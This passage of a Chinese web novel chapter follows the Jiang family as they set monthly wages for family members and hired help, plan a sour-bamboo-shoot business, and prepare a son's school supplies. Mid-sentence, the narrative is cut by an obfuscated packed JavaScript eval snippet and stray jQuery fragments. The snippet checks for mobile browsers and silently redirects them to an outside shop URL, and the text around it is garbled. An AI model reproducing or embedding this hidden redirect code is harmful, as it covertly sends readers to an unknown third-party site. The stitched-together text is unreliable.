“那便这样定下,摊子上炒菜煮面的下力气最多,一月三百文,跑堂招呼客人的两百六十文一个月,而摊子上洗碗等杂事的就给两百文一月。”

    “经了瘸婆子那事后,万万不能只把几个孩子留在家了,留在家中的人不仅要操持家务杂事还要备货买料,也是一个辛苦活,和跑堂的一样便算一月两百六十文如何?”

    没有人反对,这钱虽叫工钱,实为私房零花,因为吃在家住在家,穿还是在家,大事小务依旧是家里出钱,这也意味着,今日商议的这笔钱是不需要操心其他杂事,完完全全能进到自己兜里自由支配的!

    原以为爹娘一月只会给个意思,没想到能这么大方。

    “至于家里几个孩子也有。”

    “大丫年纪最长,做事多,脑子活,咱们家好些营生都是她想出来的,甚至可以说,要是没有大丫出主意,家里摊子生意就起不来,她一月拿五百文,至于三个小的,帮忙有限,就一月给三十文买糕买糖吃好不好?”姜建平看着几个孩子,声音带着一些哄意。

    “爷爷,好!我以后会做很多活的。”二郎激动得脸通红,他竟然也能领工钱!

    等有了钱,他要去买好多好多的糖,从白日吃到晚上!

    “乖孩子。”姜建平原想摸摸二郎头的,但是又嫌他埋汰,手都伸出去了,硬生生拐了个弯,落在他旁边的姜元致头上。

    姜远致,“……”

    二房夫妻和姜大河脸上有些震惊。

    “爹,这,给大丫的是不是太多了?她还是个孩子。”

    “若没有大丫,咱们家的摊子生意根本起不来,没有生意,就没有咱们在这商量每月拿多少工钱的事!”林嫣快言快语的堵住了三人的疑问。

    姜大华开团秒跟,“是啊,要不是有我家大丫,我和大成大河这会下雨怕是都得在码头卸货。”

    一家人就是要合群,姜远致嚷嚷起来,“是啊是啊!”

    “嫣娘说得对,螺面酸梅汤,哪样不是大丫想出来的?一开始商量的时候既然都说了,谁花的力气多,谁就拿多工钱,那不管对大人还是孩子都要作数,大丫不仅干家里的活,最重要的是还想出了做生意的点子,你们摸着良心讲,你们能想出来让家里赚钱的点子不?给她的这五百文该不该?”说到最后的时候,姜建平的声音微微发重。

    “既然是按劳分配,那就不应该因大丫还是个孩子就忽略她,不过是给了她该得的,你们就七阻八拦,那下次孩子有新想法还能给家里说么?”

    “这一家人过日子,最是讲究公平,不然只会滋生不满,这一有人不满,这个家就散了。”

    “爹,你说得对。”

    “没有不同意的意思,就是多嘴问一句。”

    三人被训得如鹌鹑一样缩在一边,不是他们刻薄,实是这城中没有哪户人家对还没成年的孩子这么重视的,在二房夫妻和姜大河眼里,大丫和大房就是一体的,要是爹说大房贡献大多分些银子他们没意见,但单独给一个孩子就有点奇怪,这不在他们平时的处事的逻辑里。

    都不是那等看不清事的浑人,他们又怎么会不知道,家里现在有的这一切多亏了大丫。

    “知道不对就好,咱们家可不能出理所应当的白眼狼。”

    三人的脸色发热。

    “不会的爹,我们已经知道错了。”

    欢喜的气氛有些凝结,

    姜令晞看看这个看看那个,欢喜的声音响在房里。

    “谢谢爷爷!”

    有家人在身边真好,他们永远会将把自己的利益放在心里,并努力地帮她争取着。

    “那爹,请人来干活咱们开多少工钱?”姜大河弱弱发问,他格外关注这个问题一些,因为他明天就要去学堂念书,这就意味着家里失了一个劳动力,这话转移话题也是为了让气氛不再尴尬。

    姜建平的声音也软了下来,“请人工和我们自家人不同,不能按照咱们家这个价来。”

    姜家的工钱是不含任何生活成本的,按照摊子上的工作量用这个价格请人就是欺负人了。

    邵家和长柳湾姜家,一个是亲家,一个是亲伯父家,都和姜家有供应关系,两家都指着姜家赚钱,他相信只要他们家开口用这个价请人,顾虑着两家的关系,他们定然不会拒绝,但是姜家不能做这种事。

    不道德,过不了良心关。

    “我去外头打听了,现下那酒楼茶馆里请个伙计,一月工钱在五六百文上下,咱们摊子上累人,但是可以包吃住,一月就给七百文怎么样?”

    有了先前的小小的不愉快,这次没人反对,“成,城里招工大多都是这个价格。”

    事情既然定下了,那就开始发钱。

    正好箱子里还有零散的铜钱。

    姜令晞喜滋滋地拿到了自己的五百文工钱。

    不容易啊,身上终于有钱了,再攒下几个月,她也算一个小富婆了。

    不仅她高兴,其他人也高兴,可算不用想个针头线脑都找老娘伸手了。

    而二郎拿到他的三十文钱,兴冲冲的就要往门外冲买糖,被姜大成一把薅住领子拉回来,他轻而易举的从他手里扣出铜板,然后连着自己的交给苏小桃,“让你娘给你保管,往后一日给你一文的零花!”

    他是看出来了,这小子手松得很,今日给他,他今日就能全部花完。

    这般大手大脚的花钱的做派可不能放任。

    做父母的也不要他的钱,只是要帮忙管控一二。

    二郎瘪嘴看向姜令晞的方向,无助的向家里的大姐姐求助。

    姜令晞把头一歪,并不和他对视。

    弟弟,你姐可管不了这事。

    见大姐如此狠心,他又看向爷奶,岂知爷奶也转过头去,只留个后脑勺给他,两老口表明态度,儿子教孙,他们不干预。

    二郎彻底破防,哇哇大哭出来。

    全家没人在意他,姜大华也把自己的工钱交给林嫣,林嫣收了,她没有要收两个孩子工钱的意思,自家的闺女和儿子虽然现在是个孩子,但是内里实际已经成年,有自己支配零花钱的能力。

    “爷奶,既然要请人来帮忙,您不如趁着天色还早,去长柳湾说一声吧,顺便把人接过来,这样明日就没有那么慌乱了。”姜令晞担心明日小叔不在,摊子上忙不过来,她心疼父母爷奶。

    姜建平答应了,“成,我顺便把上月的菜钱给你伯爷爷家送去。”

    施红霞看了一眼天色,又有些阴沉,可能还要下雨,“带着伞和蓑衣去,再雇辆牛车,早去早回,晚上就不要在那边吃饭了,家里做鱼和炖之前的熏鸡,还沽了酒。”

    姜建平叠声答应下来,他收拾好,出门时问院中的孩子们,“你们谁想同我去你们伯爷爷家?”

    又雨又泥泞的,反正姜令晞不想去,她一摇头,家里的几个孩子就立马也摇头。

    她有些好笑,她啥时候倒是成了家里的孩子王了。

    家里的大人在,孩子们就不需要干活,二郎拉着大郎去街上迫不及待地要花掉今天的一文钱,二丫也出门找小伙伴玩耍去了,姜令晞耳朵里听着二婶教自家娘亲做衣裳的声音,而奶奶则超

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787362|206982||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绝不经意地在一边偷听偷学。

    爹和两个叔叔一道出门去买明日送给先生的礼,和读书要用到的笔墨,独她一人无所事事。

    就算是下雨,不用出摊,家里也人人有事做,根本闲不下来。

    姜令晞坐在灶房的门槛上,看着天上的云层翻涌,开始想姜家接下来的发展方向。

    有了螺面和酸梅汤,姜家短时间不需要再发愁营生的事情了,但是这还不够。

    还得不断增大体量,提升实力才成。

    福满巷的院子太逼仄,她不喜欢,她想要大房间,想要拥有自己的房间。

    还有辣椒们,明年也需要肥沃宽敞的土地去播种,

    那颗从郑月娘拿回来已经干瘪的黎朦子已经被切开,里面的黎朦子籽还挺多的,不过有点发黑,她把籽放进了一个水碗里浸泡,不知道种子还有没有活性,能不能发芽。

    最好郑月娘能联系到那个琼岛来的行商……

    黎朦子能不能找到还是个问题,姜令晞暂未将它纳入未来的考虑范围内,那么如今能使劲的就只有酸笋了。

    酸笋那能做的就多了,酸笋火锅,酸笋炒各种肉类,是光想起来就流口水的存在。

    姜家可以如最初畅想的那般尝试着扩大腌笋规模,然后对外出售酸笋,这也是条来钱的路子,但这路子势必会对摊子生意产生影响。

    在前几日,城里就陆陆续续出了些螺面的仿冒者,只是这些人缺了酸笋这一味,味道仿得不像也不好,故而声量不大,对姜家的影响几乎没有,但是要有了酸笋的加入,或许就能仿得个七七八八,到时候对家里摊子的影响就大了。

    除非严控对客户的供应,最大力度的阻止酸笋外流。

    不过这有点难,但可以试试。

    如果卖酸笋的收入能覆盖摆摊的收入,家里只保留一个摊子,将更多的精力转去腌笋卖笋也是条路子。

    不过这一切都得和家里人商量才成,如何取舍,得听大家的意见。

    姜令晞看似在发呆,实则脑子一刻没有停歇。

    屋子里,婆媳几个的做衣裳交流告一段落,她们准备做晚饭了。

    正在这时姜大华兄弟三个也从外面买了东西回来,两条干肉,糕点四盒,还有桂圆红枣红豆莲子若干,按照礼节,还需买芹菜的,寓意着入学后勤奋好学,但是这时节芹菜还没长成,买不到,便只能省了。

    除此之外,还买了毛笔两只,书箱一个,纸一刀,便宜的墨条两块并一个普通石材做的砚台。

    “回来了啊!”

    施红霞婆媳三个往灶房走的脚步顿住。

    “正好你们兄弟三个回来了,那今晚的饭就交给你们做了,大河明儿就要去学堂,没有件像样的衣裳不成,我们三今晚加把劲,给大河把新衣制出来。”说着施红霞拉过姜大河就要给他量体,她是会些基础缝纫的,虽然好几十年没做手有些生,但比儿媳林嫣那纯新手好得多,不过很久没做了,需要找些手感。

    姜大河愣愣地感受着亲娘手掌温暖的温度,心中有些酸又有些涨。

    等量完尺寸后,他冲着两个嫂子和亲娘的方向深深鞠了一躬,腰几乎要弯到膝盖,“多谢娘,大嫂二嫂为我操心。”

    他的心从未有这样暖过。

    苏小桃不习惯这样正经的道谢,受了姜大河的礼后讷讷无言,便由林嫣来开口,曾经当老师的稳重威严令她很有长嫂的风范,“三弟客气,这都是一家人该做的。”

    姜大河却知,哪有什么该做的,不管是多亲的人,愿意帮忙就是情分,他得牢记。